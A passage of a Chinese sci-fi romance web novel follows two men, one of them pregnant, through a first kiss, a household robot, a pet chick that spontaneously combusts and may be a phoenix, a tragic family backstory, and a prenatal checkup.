纪九微微喘着气,抬头看着关阙,那眼里像是燃着两簇火,将关阙也引得浑身滚烫。 他提在手里的袋子掉落在地,发出砰一声重响,纸巾盒牙膏零食散落满地,两人却谁都没有看一眼。 “我想要吻你。”纪九哑声道。 话音刚落,他便伸手捧住了关阙的脸,趋身上前,毫不迟疑地吻上了那两片薄唇。 关阙的唇微凉且柔软,这美好的触感,让他的脑中也嗡了一声。他恶狠狠地用力一嘬,将那唇往外吸出一段,再响亮地啵一声,弹了回去。 他现在还保持了半分理智,知道这是在人来人往的街边,哪怕情感再汹涌澎湃,也只打算这样重重地吮上一口。 可关阙就这么站在他面前,头发凌乱,嘴唇湿润泛红,神情愣怔,一副任人欺负的模样。 纪九心神荡漾,再难以自持,忍不住在心里骂了句脏话,无声地喊了声尤物,便再也顾不上其他,伸手扣住关阙的后脑,重新吻了上去。 他贴着关阙的唇舔吮啃噬,这甜美的触感让他两脚发软,脑中混沌不清像是喝醉了酒。 而关阙也终于回过神,有了反应。他将人紧紧搂进了臂弯,并很快占据了主导地位,舌尖轻易地撬开纪九的牙齿,钻了进去。 两人就站在街边,生疏却激烈地拥吻着,彼此的牙齿碰撞得咯咯作响。 他们已忘记此时就在街边,身旁还有着不时经过的行人和车辆。仿佛整个世界都已在他们的唇舌交缠中被炸得灰飞烟灭,茫茫宇宙里也只剩下了对方。 “……你看那男的,是刚才中枪进医院那个孕夫的伴侣。刚才还急得脸白唇青的,现在人家被抬走,他就在亲另一个。” “这也是个孕夫,肚子更大,哎哟,亲得这个激烈哟,啧啧,没眼看。” “好复杂的男男关系,我搞不懂。” “两个都怀上了,这种情况,你只要知道那男的肯定很有钱就是了。” “人性啊,太可怕了。” …… 也不知吻了多久,窸窸窣窣的对话声越来越清晰,终于将忘我的两人从那无人世界拽回现实。 两人慢慢分开,左右看了看,都强自镇定地转身,面红耳赤地朝家的方向走。 纪九刚提步,便踢到一个纸巾盒,两人又蹲下身,将地上散落的物品胡乱塞进袋子,再沉默而迅速地站起身。 纪九走出一段,感觉到自己的手被牵住。他偷眼去瞧关阙,见他看似镇定,但两个耳朵却红得像要滴出血。 两人牵着手,一声不吭地走过街口,右拐,终于脱离了那些指指点点的行人的视线。 关阙突然停下了脚步,纪九跟着站定,顺着他视线看去,看见长街上一辆拖车正驶向远方。 车斗里伫立着一辆深灰色轿车,看着很是眼熟。 “额……那个长得好像我们的车?” “……嗯。”关阙严肃地点了下头,“应该就是我们的车。” 纪九一愣,接着将袋子往关阙手里一塞,立即就要拔腿追那拖车,被关阙一把拽住了胳膊。 “别追,我明天去取就行了。”关阙道。 纪九被他拉住,只得停步,眼睁睁地看着拖车在前方拐弯。 “走吧,回家。”关阙道。 他拉着纪九转身,但神情突然一变,又倏地转头重新看了过去。 “怎么了?” “我东西落在车上了。”关阙将袋子又塞回纪九手里,“我去追车,你在这儿等我。” 纪九瞧他那模样,立即有些紧张,“那东西很重要吗?文件?武器?” “不,是一袋垃圾食品。” 纪九:“……” 在纪九的阻止下,关阙终于还是放弃了追车。这里离家不远,两人就如散步般,顺着人行道不急不缓地走。 双方沉默下来后,都不约而同地回忆起之前那个亲吻,气氛就又变得有些暧昧,又有些羞涩和窘迫。 关阙牵着纪九,不时看一眼他。纪九刚才那不管不顾的勇气已经消散一空,甚至不敢对上他的视线,只垂着头,假装清点袋子里的东西。 他右手被牵着,只能将袋子放在旁边花坛上,用左手翻找。关阙也不松开他那只手,只伸出另一只手帮他牵开袋子口。 “这样不好找。”纪九轻轻挣了下右手,伸出左手。 关阙会意,便调换了一只手牵着,两人再配合着翻购物袋。 “牙膏没了,不知道掉在哪儿了。”纪九嘟囔。 “明天我再来买。”关阙道。 “今天就没得用了。” “那我们现在回头去买。” “别,晚点再来,那里还有好多人,他们认得我们。” “好的。”关阙拎起购物袋,“走吧,我们回家。” 关阙的声音温柔得不像话,纪九跟着他往回走,心脏跳得像是要蹦出胸腔。 他没有看关阙,也能感受到他那灼热的视线一直落在自己脸上,便掩饰地咳了一声,扭开头去看街上的车。 第54章 两人返回小区的路上,关阙还是进了旁边的便利店买牙膏。纪九站在路边等他,心里的欢喜不用再遮掩,只满满地溢出来,化为脸上的笑。 他对着天空笑,对着停在电线杆上的小鸟笑,对着围墙上的爬藤笑,还对着面前往来的车辆笑。 直到一辆车在他身旁停下,车窗缓缓降低,一名老头坐在车内,冲着他暧昧地微笑:“嗨。” 他这才回过神,倏地敛起笑意,神情冰冷地转过了身。 老头悻悻地驾车离开:“……毛病。” 待到关阙走出便利店,两人又牵着手回小区。远远便看见机器人抱着鸟崽在大门口张望,现在天气变凉,鸟崽也穿了一件花毛衣,见到纪九和关阙,便从机器人怀里跳下地,欢天喜地地冲了上去。 “冲刺!”纪九朝着鸟崽大喝。 鸟崽听令,张开翅膀在地面飞奔加速,像是一只在地上滚动的花色皮球。 “飞跃!” 鸟崽奋力一跃,在半空伸长脖子,在半空拼命扑扇翅膀。 “发射!” 鸟崽像一颗炮弹般,直直撞向了纪九的怀抱。 “啾!” 鸟崽就要撞进纪九怀里时,被一只大手给半道截住。 关阙抱住鸟崽,对纪九道:“现在暂时别和它玩这样的游戏。” 纪九知道他是担心鸟崽撞着肚子,便没有反对,只微笑着摸摸鸟崽的脑袋。 关阙取出一条给鸟崽买的肉干,掰成两段后喂给它。机器人这时也迎了上来:“我把菜都洗好切好了,阙哥去做——你们怎么了?纪九你受伤了?严重吗?宝宝还好吗?” “没事没事,别慌,是别人受伤,阿宝身上沾了些血渍。”纪九赶紧解释。 机器人并没细想关阙身上的血渍怎么会蹭上纪九,只催着两人赶紧去洗澡换衣。 纪九站在卫生间花洒下,满心都是浓情蜜意,糖浆似的粘稠。他飞快地洗完澡,却用了较长时间吹了个发型,最后对着镜子左右照,确定自己看起来不错,这才推门下楼。 下到一层,他探头朝厨房看,看见关阙也已经洗完澡,灰色羊绒衫外系着一条围裙,正站在岛台前忙碌。 看着那道高大背影,他好不容易才平息下来的情绪又开始鼓噪,在心里翻起一个个愉悦的泡。 机器人正端着盘子往餐桌上搁,他笑着从背后揽上去,下巴搁在它头顶,抱住它左右摇晃,嘴里也开始轻声唱:“铁打的身躯钢铸的魂,勇敢机智无比可靠,上天入地双臂开炮……” 机器人虽然不知道他为什么突然心情这么好,却也高兴地跟着一起哼:“琪宝琪宝是琪宝……” 纪九眼睛看着厨房,看见关阙转过了头,便冲着他眨眨眼。关阙转回身继续炒菜,但从纪九这个角度,可以看见他高高翘起的嘴角。 纪九心头美得冒泡,抱着机器人唱完一遍,又来第二遍:“铁打的身躯钢铸的魂……” 机器人一边跟唱一边道:“纪九,我先把菜放桌子上……勇敢机智无比可靠……纪九,你先松开我……琪宝琪宝是琪宝——纪九,我知道你很喜欢我,但你能不能松下手?晃来晃去的汤要洒了。” “纪九!!”当纪九开始第三遍,机器人忍无可忍地道。 纪九终于松开了机器人,却又在它脑袋上亲了一口,语气宠溺地道:“听你的,不唱了,暴躁的小东西。” 机器人:“……” 现在已经过了看动画片的时间,但没人去关电视。鸟崽正紧张地看着,尽量降低存在感,一颗眼珠朝着前方屏幕,一颗眼珠斜在眼角,盯着纪九和机器人的一举一动。 “雀宝。” 鸟崽吓得浑身一抖,连忙抬起一只翅膀指着电视,啾啾啾地表示不是自己要看,是电视一直没人关。 纪九却一个纵身扑上沙发,将它按进怀里揉搓。鸟崽啾啾大叫着往外挣,躲进沙发缝隙里,又被纪九给抓了出来,没头没脑地一顿乱亲。 “别玩了,该吃饭了。”背后突然响起关阙的声音。 纪九立即转头,看见关阙正将菜盘放在餐桌上。两人刚刚还手牵手回家,也不过洗了个澡的功夫,现在目光一对上,却又有些羞涩的脸热心跳,便都飞快地移开了视线。 两人在长条桌对面坐下,鸟崽站在左边一端啄食馒头拌肉粒,机器人坐在右边,一边问,一边在小本本上记。 “纪九,你觉得蒸鱼需要再放点盐吗?” “不需要。” “阙哥,这个汤里加了点葱,你觉得怎么样?” “挺好。” “纪九,青菜要不要再多炒点时间?” “不用。”纪九终于忍不住道,“吴思琪,你问这些做什么呢?” “因为我要改进厨艺呀。” “可是这些都是阿宝做的,又不是你做的。” “学习是获取知识的途径,不是我做的我就不能问了吗?”机器人面无表情。 “可以可以,你想怎么问就怎么问。”纪九只得道。 机器人却又放下了小本本,看看纪九又看看关阙。 “纪九,你今晚吃饭,为什么一直在看阙哥?” 纪九一顿,勺子悬在了半空。 他确实有些控制不住自己,眼睛老是往关阙脸上瞟,但被机器人当着关阙的面指出来,顿时脸就有些发热。 “别胡说。”他低声斥道。 “我没有胡说,你吃半碗饭,就看了他18眼。” 纪九假装没有听见,只端起旁边的水杯,咕嘟咕嘟一口喝完。 他放下水杯,却见坐在对面的关阙正看着他,一双眼里含着笑。 “先专心吃饭。”关阙用那种拿你没什么办法的语气道。 纪九还没回答,就听机器人又道:“阙哥,你看了纪九25眼。” 屋内顿时安静下来,两人都开始沉默地吃饭。但纪九刚夹了一筷子菜,突然就埋下头,靠在自己臂弯嗤嗤笑了起来。 关阙原本还一脸镇定,现在见纪九这样,终于也绷不住地跟着笑,又掩饰地起身,拿起水杯去一旁接水。 吃过晚饭,古费城又刮起了沙尘暴。待到风暴过去,天空比平常更为澄净,穹顶上一左一右挂着两颗星体,分别泛着橘红和淡蓝的柔光。 纪九背靠软垫,坐在别墅的圆弧房顶上,关阙坐在他身旁,两条长腿闲闲伸直,也仰头看着天空。 现在正是孚桂盛开的季节,一阵晚风拂过,纪九只觉得被那孚桂浓香给笼罩住,整个人醺醺欲醉。 “冷不冷?”关阙问。 纪九摇摇头:“不冷。” 关阙却仿似没听见,只伸手搂住他的肩:“那这样呢?还冷吗?” 纪九瞥了眼肩上的手,往他那边挪了挪,小声道:“暖和多了。” 关阙伸出另一只手,将他敞开的衣襟往里拢了拢,视线落在那凸起的肚子上,用手指轻轻碰了下。 “明天就要做产检了,我们一起去。” 纪九也低头看着自己的肚子,突然惊觉到一个事实。 他从街上回来以后,便只沉浸在和关阙恋爱的喜悦中,竟然忽略了自己怀孕的事。 虽然关阙希望他将孩子留下来,可他也清楚,那是因为担心他做手术会有风险,是不得已做出的决定。 在今天之前,两人虽然都明白彼此的情意,但毕竟还没挑明关系,所以孩子的问题也就没有提。而现在两人已经捅破了那层窗户纸,那么关阙对这个孩子的态度就很重要,也必须要挑开了谈一谈。 这个念头在纪九脑中转了片刻,他才有些艰难地问道:“阿宝,你怎么看?” “看什么?”关阙正用手指轻轻戳着他的肚子,姿态放松而惬意。 “就是他,那个,孩子。”纪九抿了抿唇:“你会介意吗?” 关阙停下动作,慢慢收回手,坐直身看向远方,片刻后才问:“如果我说不介意,你会相信吗?” 纪九立即回道:“相信。只要你说,我就相信。” 关阙却轻轻摇了下头:“其实我介意的。” 他转头看向纪九,目光专注地停留在他脸上,再抬起手,将他额上的一绺头发拂走。 “我介意的不是孩子,而是我没有能更早认识你。那么你就不会受那些伤害,要不要怀孕是由你自己做出决定,而不是被迫进行痛苦的选择。” 他的目光里除了温柔,还含着深深的怜惜,纪九被他这样注视着,顿时觉得眼睛有些发热,便仓促地侧过头,看向一旁。 “我会好好对他的,就像会好好对你。”关阙的手按上了纪九的肚子,声音很轻,但语气郑重,“他以后就是我的孩子,我是他的父亲,这是永远不会改变的事实。” 纪九心中情绪翻涌,既无比激动欢喜,又有些说不出口的愧疚和难受。 “我这儿,本来很硬,铁石心肠,真正的铁石心肠。”他指了指自己心口,眼睛发红地道,“但现在它软了。就像蚌壳被一点点打开,露出了柔软的蚌肉,洋葱被一层层剥开了皮。当然,剥皮这个过程不是特别艰难,我也没有辣你的眼。” 两人静静地依偎着,四周非常静谧,只听见风过林梢的沙沙声,还有彼此的轻浅呼吸声。 关阙突然身体一僵,纪九看了他一眼:“感觉到了?” 关阙又重新放松下来:“嗯。” “你每次摸我肚子,他都会动,这是在生气还是在高兴?”纪九道。 “高兴。”关阙笃定道,“我能感觉到,他现在很高兴。”接着又补充,“他很健康,很结实,也很调皮。” “就和我小时候一样。”纪九靠在他肩上,无比怀念地道,“我妈说我哥在她肚子里时可乖了,一直就睡觉。怀我的时候,还没生,她就知道这是个混小子,老是在她肚子里打滚蹦跶。” 关阙收回放在他肚子上的手,轻轻碰触了下他的眉眼:“你父母很爱你。” 纪九乜着他:“你也觉得我是被惯坏了?” “不,我是觉得你在经历这么多事情后,依旧能这么生气盎然。”关阙勾了下唇,“还像个洋葱。一定是被爱着的孩子。” 他又问:“纪北宴觉得你被惯坏了?” “是啊,我每次闯祸后他就这么说,说我无法无天,被父母宠坏了。”纪九有些怏怏地问,“你觉得我要改吗?” “不改,就这样,我觉得很好。”关阙目光专注地看着他,“你尽管无法无天好了,我会护着你。” 纪九用后脑轻轻撞了下关阙的胸膛。 提到纪北宴,他的神情又有些怅然。 “不知道我哥现在怎么样了,但想来应该没事。而且他现在呆在家里,正好不用管军部的事,可以调理身体。”纪九看着远方,眼里升起一抹愁绪,“只是他孤孤单单一个人,身边也没人可以说说话,只有他的副官陈哥陪着他。” “你哥是单身?”关阙问。 纪九叹气道:“其实我本来有个嫂子的。她人很漂亮,性格开朗,和我哥感情很好。但就在他俩准备婚礼的前几天,嫂子遇到了车祸,人没了。而且那时候她还怀着孕。” “我哥对我嫂子用情极深,嫂子刚走的那几年,他像是也不想活了。军部最难的那几场仗,全是他主动请缨,打起来也都是冲在最前面。好几次都差点丢了命,硬是被救了回来。” 纪九垂下眼:“好在随着时间慢慢过去,他终于恢复过来,但从此就单身一人,也没有成家的打算。” “阿宝,你家里都有什么人?”纪九又问。 关阙这次沉默了片刻才回道:“虞人有三大支,分别为贺哥族、掸亚族和束历族,都生活在塔柯星系的诶叶星上。你应该没听说过这颗星球,它很不起眼,无人知晓。” “诶叶星很美,海水一望无际,有一些像我们之前住过的水星。但海面上岛屿也多,星罗棋布,我们虞人就生活在那些海岛上。” 纪九设想了一下,脑中浮现出那种临海的小村落,便问:“那你们是靠打渔为生吗?” 关阙摇摇头:“当然不,我们和塔柯人以及银辉人有各种商业上的往来,科技和文明也在进步。但我们的工厂都修建在海底,如果有人路过诶叶星,只会觉得那是一颗荒芜的行星。” 纪九恍然:“原来是这样。” “我是贺哥族人,爸爸是名普通虞人,父亲是初阶序列者,但我刚出世不久,他俩就去世了。” 纪九立即看向他。 关阙瞧出他眼里的心疼,又道:“我被族里一名德高望重的长辈收养,大家对我都很好。而且父母去世的时候我还太小,对他们没有什么印象,所以也没什么多的感觉。” “虞人虽然分为三个族群,且分居在诶叶星各自的领域,但有个共同的大族长,并都听从他的号令。大族长下面还有四位长老,地位颇高,族里遇到什么事,都是由他们商议后做出决定。” “虞人不多,三个族群总共也就几千人,过着与世无争的生活。但约莫三十多年前,虞人被塔柯人以断绝能源供应为要挟,被迫卷进了战斗。其实那时候的虞人只是被迫参战,打得也不积极。大族长准备耗上三五年,便让虞人退出这场战争,这一决定立即便得到了三位长老的赞同。” 纪九听见三位长老,立即轻声问:“但是大长老不同意?” 关阙点了下头:“大长老不光反对停战,还想要继续扩张,将塔柯星和银辉星都纳入囊中。他和大族长以及其他三位长老起了分歧,自己创立了暗影军团。” “后来呢?”纪九问。 “后来……”关阙看着漆黑的远方,沉默半晌后开口,声音变得有些暗哑,“我十四岁那年,去海里工厂玩了一下午。傍晚时回到家,发现我的家人都死了。” 纪九身体倏地僵硬,心脏也像是被一只大手给紧紧揪住,咬住下唇没有做声。 “我的阿爷,阿嬷,叔婶姐弟。”关阙停顿片刻后才继续,“他们倒在院子里,血流得满地都是。” “我是被阿爷抚养长大的,我阿爷就是虞人的大族长。而我家人遭遇刺杀的当晚,其他三名长老也都死于非命。” “我当时年纪还小,族人们怕我出事,便对我三缄其口,所以我并不清楚这些情况,也不知道阿爷全家的死因。我接着就发了一场高烧,突破成了初阶序列者,当天就有暗影军团的人闻讯而来,将我带走。” “我在暗影军团里接受训练,直到三年前,我遇见了一位族里的老人,他才对我说了实话。” “原来我家出事的那天下午,暗影军团来到了岛上。” 纪九听到这里,顿时屏住了呼吸,下意识抓紧了关阙的手。 关阙只语气平淡地陈述:“是大长老杀了他们。” 关阙说完这些,便没有再出声。纪九虽然还有很多的问题,却也没有再问,只抬手揽住他的肩,一点点收紧,让自己紧贴在他冰凉的胸膛上。 两人就这样拥抱着坐在一起,直到关阙的手又有了暖热的温度,纪九才问:“等所有事情都解决后,我们去哪儿?” 关阙道:“你和孩子想去哪儿,我们就去哪儿。” “真的?” “真的。” 纪九伸手搂住他的脖子:“如果我要回银辉星呢?” “我就跟着你去银辉星。” “如果我要去H58长住呢?” “我也去H58。” “如果我去水星呢?” “我也去水星。” “如果我就在这儿呢?” “那我也留下。”关阙一点不嫌他幼稚,只很有耐心地回道。 纪九一双眼闪着促狭的光:“如果我要和纪北宴住一起呢?我们一家五口就挤在他那栋房子里住。” 关阙嘴唇动了动,但这次终于没能顺利地应承。 纪九大笑出声,忍不住去捏他的脸颊:“你那么有钱,我们不管去哪儿都能买房置地,怎么可能和纪北宴挤一块?我要买栋比他那别墅更大的豪宅,嫉妒死他。他想来我们家住两天,我就让他和吴思琪挤一块儿。” 关阙只含笑看着他,目光既纵容又无奈。 星辰光照下,关阙眉眼漆黑,嘴唇偏又带着浅淡的红。纪九的笑容渐渐敛起,慢慢凑了过去,吻上了他的唇,用舌尖细细勾勒那唇的形状,轻吮浅尝,陶醉而沉迷。 片刻后,他离开了关阙的唇,亲昵地和他蹭了蹭鼻尖。 他趋前的身体就要后退,却发现后腰被关阙的手给抵住。 关阙手臂收紧,将人搂进怀中,另一只手扣住了他的后脑勺。 这次的吻与开始的轻啄浅尝不同,关阙的舌强势闯入他的齿关,用力吸吮碾磨,蛮横搅弄。 两人的呼吸都越来越急促,身体也越来越紧地贴在一起,不留下一丝缝隙。 夜色静谧,只听见接吻的水声和低声喘息。但楼下却突然传来砰的一声,像是引燃了什么炸弹,既沉闷又响亮,打破了此时的安静。 两人同时顿住动作,竖起耳朵,接着就听见机器人的一声凄厉尖叫:“鸟崽炸了!!!” 纪九心头一惊,所有的旖旎都瞬间飞走,和关阙同时起身,一前一后冲进楼,再顺着楼梯往下,一直冲到大厅。 空气中充满浓重的焦糊味,鸟崽全身黢黑地站在餐桌旁,身周一圈的地面上,洒落着花毛衣燃烧过的黑灰。 它保持着两脚分开站立的姿势,一只翅膀里还抓着一团焦炭,看形状像是个馒头。 机器人身系围裙,呆呆站在厨房门口,屏幕上闪着负载过重的红光,像是随时都要跟着爆炸似的。 第55章 “雀宝!!” 纪九猛地冲前,关阙也紧跟在他身侧冲了出去。 纪九扑近就要蹲下,动作太急,差点摔倒,关阙一把将他搂住:“你别急,站这里别动!” 关阙蹲在鸟崽面前,现在也不敢碰它,便轻轻喊了两声:“雀宝,雀宝?” 鸟崽还保持着一动不动的姿势,但眼珠转了转。 纪九赶紧手忙脚乱地摸电话:“送医院,快去医院,去烧伤科。” “它,它,它……”机器人也从濒临死机的状态恢复过来,却依旧负载过重,机械音都变了调,“我在厨房关火,我不知道,它怎么就炸了,它,它……” 机器人和纪九一团慌乱时,关阙将鸟崽小心地捧起,用手指轻轻碰触,检查它的皮肤和身体。 “急救电话是多少?我怎么突然想不起了,是多少?吴思琪?不,太慢了,我开车送它去。” “它怎么就炸了呢?我,我都不知道。急救电话是222。不对,这是银辉星的急救电话。332-1!不对,这是古费城产科医院的。” 纪九就要奔出去开车,关阙冷静的声音响起:“不用送医院,它没事。” “啾啾!”鸟崽也轻轻叫了两声。 纪九倏地顿住脚步,正在胡乱打转的机器人也停了下来。 鸟崽被关阙托在手里,身体打摆子似地发着抖。关阙拿着一张湿纸巾擦拭它的身体,那被擦净的背部皮肤完好,没有半点被烧灼过的痕迹。 “它没有被烧伤,只是有些吓到了。”关阙向纪九解释。 鸟崽也看向纪九,委委屈屈地叫了声:“啾啾。” 接下来的时间,机器人和关阙打扫房间,纪九将鸟崽抱进卫生间洗了个澡。 他用大毛巾擦干鸟崽身体,再仔仔细细检查了一遍。鸟崽的确没有被灼伤,但身上原本长出来的那点毛都没了,彻底成了个胖嘟嘟的光身子鸡,装进盘里就可以进烤箱。 “啾啾。”鸟崽还未从惊吓中恢复过来,纪九一边安慰,一边抱着它去厨房。 机器人正在擦餐桌,嘴里嘟囔:“怎么就炸起来了?这桌腿都被炸黑了,可找不到火源和炸药啊……” “你刚才在玩什么?怎么搞成那个样子?”纪九抱着鸟崽站在沙发旁,朝着关阙抬了抬下巴,“给你阙爸爸说,让他翻译。” “啾啾啾啾!”鸟崽冲着关阙叫了一串。 “它说它也不知道,应该是馒头炸掉了吧。” 机器人大叫:“我蒸的馒头不会炸,里面又没有掺炸药。我今天就是蒸的最平凡的馒头,一点创意都没有那种。” “啾啾啾。” 纪九刚才也看过剩下的馒头,便轻声哄:“没事,不是馒头炸的。” 关阙放下吸尘器走过来,摸了下鸟崽的脑袋,又俯下身仔细打量。他看得很是认真,纪九不明所以,也盯着鸟崽瞧。 鸟崽被两人这样注视着,逐渐变得紧张,僵着身体一动不动,两只眼珠都转去左右眼角,分别盯着关阙和纪九。 “你在看什么?”纪九没瞧出个名堂,便问关阙。 关阙抬起鸟崽的一只翅膀查看,片刻后回道:“我觉得它是自燃。” “自燃?” “对,它没有受伤,也找不到任何火源,除了自燃,我想不出其他原因。” “对了,它鸟妈叫什么来着——”纪九见鸟崽瞪了过来,又赶紧改口,“那鸟姨叫什么?哦,扈恣。难道扈恣会自燃?” 关阙摇头:“不会,扈恣不会自燃。但我觉得它不是扈恣。” “不是扈恣?那会是什么?”纪九迷惑地问。 “啾啾啾啾!” “没有没有,我乱说的。” 鸟崽在这里听着,纪九觉得当着它的面说这些着实不妥,便让机器人带着它去院子里玩。 “其实我也发现了。”纪九往后张望,确定鸟崽已经离开屋子,才压低声音道,“按说它也快有半岁了,却长得和它那鸟妈没有半点像。我记得它鸟妈那羽毛非常浓密,里三层外三层,子弹都打不穿,可它愣是一根毛都没有。”想了想又纠正,“毛还是有的,就是很稀疏。” “那你觉得它是什么?”纪九继续问。 “我倒知道两种能自燃的生物,它们都生活在猎马星系。一种外形似蜥蜴,一种外形似马,通体鲜红,周身燃烧着火焰,口中也能喷火。”关阙道。 “可我们鸟崽既不是蜥蜴也不是马,平常也没有什么异常。” “鸟类的话,倒也不是没有。”关阙侧头想了想,“有一种叫做丹狜的鸟,具有一些特殊的能力,能吸收宇宙中隐含的欧尔Z8物质,并将它转化为身体能量。但那种能量到达一定限度时,它便会用自焚的方式进行清理,然后再自愈。” 纪九来了兴趣:“那鸟崽会不会是丹狜?” 关阙缓缓摇头:“丹狜曾经生活在地球上,而且早就已经灭绝了。” “地球,好久没有听到有人提起母星了。”纪九长长叹了口气,“你知道地球是塔柯人和银辉人的母星吧?” “知道。”关阙点点头,“几百年前,地球的环境越来越恶劣,人类无法继续生存,便组成两支庞大的舰队逃向了太空。当时的逃亡路线有两条,所以地球人也就分为了两支,一支到了银辉星系,一支到了塔柯星系。 “是啊,只是没想到,银辉人和塔柯人原本同宗同源,但后来为了争夺资源,竟然成为了仇敌。”纪九有些怅惘。 两人沉默片刻,纪九又问:“你说丹狜自焚后能再自愈,那不就和你们序列者一样吗?” 关阙道:“其实差不多吧,我们序列者和你们不同的地方,就是能将宇宙中的某种物质转化为身体能量。高阶序列者比起低阶来说,能转化的能量多一些,所以也可以进行身体自愈。” 纪九又开始琢磨:“丹狜居然也能自愈,那很强啊,不过我都没听说过。” “因为丹狜一族很早就灭绝了。”关阙不紧不慢地道,“它的自愈方式叫做涅槃。” “涅槃?”纪九有些惊讶,“我好像听过这个词。” “可能听过吧,它被你们古地球人称为凤凰。” 房间内打扫干净,机器人带着鸟崽回了屋。纪九在门口拦住光溜溜的鸟崽,蹲下去仔仔细细地打量。 “别动,让我瞧瞧。”纪九双手扶住鸟崽,不让它动。 鸟崽在外面溜达了一圈,身上沾了不少沙土,脑袋上也顶了几根杂草。 “它这模样能是凤凰?古地球传说中的凤凰?”纪九扭头去看关阙,满脸都是不敢置信,接着又看回一身脏污的鸟崽,“你是凤凰?你刚才是涅了?” 关阙正在倒水,头也不回地道:“它就算是凤凰,那也不叫涅了,只能叫炸了。” “那它什么时候能长毛?” “如果它真是凤凰,那这个长毛的时间可能就有点长,我也不清楚。” “那它的鸟妈呢?” “啾啾。”听见两人的对话,鸟崽不高兴地叫了两声,又别过身子扭过头。 纪九立即反应过来,便将它搂进怀里,好言好语地道:“什么凤凰鸟妈的,是我在胡说八道。你是我亲生的,是我自己生的蛋。”又抱着它转身,指着门廊处的一面镜子:“看,我们脸上和身上都没有毛,你和爸爸长得一模一样。” 鸟崽打量着镜子里的纪九和自己,愉悦地眯起眼,将脑袋贴在纪九胸口蹭了蹭。 两人便没有再提这个话题,只开始说其他事。 到了晚上九点,鸟崽回屋睡觉,机器人开始如海绵般吸收孕产知识,纪九便选了一部电影,和关阙一起看。 “这部怎么样?”纪九按着遥控器。 “可以。” “……老蔡的小木屋,这名儿就不是我喜欢的。” “怎么不喜欢?”关阙放松地靠在沙发背上,一只手搂着纪九的肩。 “老蔡和刘金福有区别吗?肯定是乡土片。如果是希桑辰的小木屋,那就是文艺片,我还可以看看。”纪九道。 关阙笑了笑:“不,那也是乡土片,藤谷星本地乡土。” 关阙对电影从来不挑,不管是好片还是烂片,战争片或是爱情片,纪九选什么,他就看什么。 他没什么表情地坐在那里,情绪淡定,不悲不喜。纪九认为他应该不喜欢看电影,他却又能一直坐在身旁,从头到尾看完整部。 最后问他观后感,他都是两个字,可以。 “这部呢?想看吗?看这女鬼龇牙咧嘴的。”纪九切换到一部鬼片,顿时精神一振。 关阙的手指在他后颈肌肤上轻轻摩挲:“可以。” “……那你倒是看一眼屏幕,你都没看我选的是什么。”纪九道。 机器人正在下载新出炉的胎教音乐一百首,闻言立即阻止:“纪九,你不能看这个,会吓着宝宝的!” 纪九倒也没有坚持,干脆换台找了个娱乐节目,问关阙:“看这个怎么样?” “可以。”关阙沉稳回答。 纪九乜着他,关阙挑了下眉:“怎么了?不是要看吗?” 纪九正要说什么,目光落到他身旁,发现沙发上摆着那个装着光明之眼和暗影之牙的盒子。盒盖很随意地打开着,露出里面两块碎片。 “你又在研究这个?”纪九问。 “刚才放在这儿的,等会儿再收起来。” 纪九叮嘱:“你花那么大劲儿才把它搞到手,那就别不当回事,要是哪天掉进哪个角落了,找都找不到。” “好的,知道了。”关阙眼里含笑,顺从地将盒盖盖好。 纪九看着那盒子,忍不住问:“你还要找智慧之心,那这三块碎片究竟有什么用?” 关阙的手指捋着他的发丝,嘴里回道:“传说虞人族拥有一块圣物,是宇宙诞生时,从时空之柱上剥离的一部分。当然,其实就是一块陨石。但它的确含有某种我们尚不能查明的宇宙物质,不过我还不太清楚,只知道获得它,就能获得强大的力量。” “这些碎片就是那块陨石圣物?” “是的,陨石被切割成上下两半,而上半部又被分成了三块,便是光明之眼,暗影之牙和智慧之心。这三块碎片分别由虞人的三个族保管,一代代传下来,到了我阿爷一代,就是他和另外两名长老负责保管。” “我阿爷当初遭难,大长老从他那里抢走了光明之眼。好在其他两位长老接到了消息,立即让人带着另外的碎片逃走,没有被他拿到。” “你拿到陨石,是想获得它的力量吗?” 关阙缓缓开口:“是的,我要借助它的力量,杀了大长老。” “可你说圣物被切割成上下两半,你就算拿到智慧之心,三块碎片也只是圣物的一半,还有一半呢?” “剩下的一半我还没有任何线索,但只要一步步来,总会都拿到手。” 关阙看向电视屏幕,目光有些冷,脸庞也显得格外锋利。纪九伸手摸了下他的脸,换了个话题:“看电视吧,这个节目有些好笑的。” 关阙将他的手握在掌心,目光重新变得柔和起来:“好的,看电视。” 第二天上午,纪九吃过早饭,便和关阙一起,按约去往产科医院进行产检。 虽然纪九已经看过数次胎儿的三维高清影像,但再一次看见那个在半空缓缓旋转的小生命时,依旧是满心激动。 “阿宝。”他半躺在检查床上,伸手抓住关阙的胳膊。 关阙也认真地看着胎儿,只歪过头在他耳边低语:“我看见了,就像你说的,他很漂亮。” 胎儿头部圆润,皮肤娇嫩得能看清毛细血管。虽然闭着眼睛,却将一只小拳头塞在嘴边,一下下吸吮。 医生转过头打量两人,微笑道:“这孩子眼裂那么长,肯定有一双和爸爸相同的大眼睛。宽额头,高鼻梁,这又长得像父亲。” 纪九清楚医生并不知道关阙并非孩子的亲生父亲,但仔细看着胎儿,发现医生说得也没错,他长得和关阙的确很像。 他认为是那名基因提供者,可能长得和关阙有些相似之处,但更有可能的是因为关阙一直陪在身旁,胎儿受其影响,就照着他的模样长。 纪九越想越觉得就是这么回事,不然为什么有些孕妇和孕夫,会在怀孕期间看一些好看的明星照片? 关阙听见医生的话后,明显表现得很愉悦,一只手也轻轻抚摸着纪九高耸的肚子。 纪九便对医生道:“他长得确实很像他父亲,而且平常胎动很强烈的时候,只要他父亲一摸我肚子,他就安静下来了。” “胎儿感受到父亲的爱抚,也会充满安全感。”医生微笑着道。 一系列检查结束后,医生拿着报告单,眼睛穿过老花镜上沿,看向坐在对面的年轻夫夫。 “刘先生,你的身体情况很好,胎儿生长发育也正常。” 他看见这对年轻人,在听见胎儿和孕夫情况良好后,不约而同地松了口气。还看见那名孕夫做了个小动作,垂在身旁的手指,轻轻挠了下伴侣的大腿侧。 而伴侣也如法炮制,挠了挠他的腿。 两人都自以为动作隐秘,没有被别人发现,一脸静待下文地注视着前方。 医生在心里暗暗笑了下,也清楚了这对夫夫的感情很好,便问:“最近房事的频率怎么样?” 纪九正想用手指去戳关阙的膝盖窝,闻言顿时一惊:“什么?” 关阙也一脸以为自己听错了的表情。 医生的眼睛在老花镜上沿左右来去:“就是性生活频率,一周多少次,这下明白了?” 两人突然变得老实,正在互相作乱的手都收了回去。 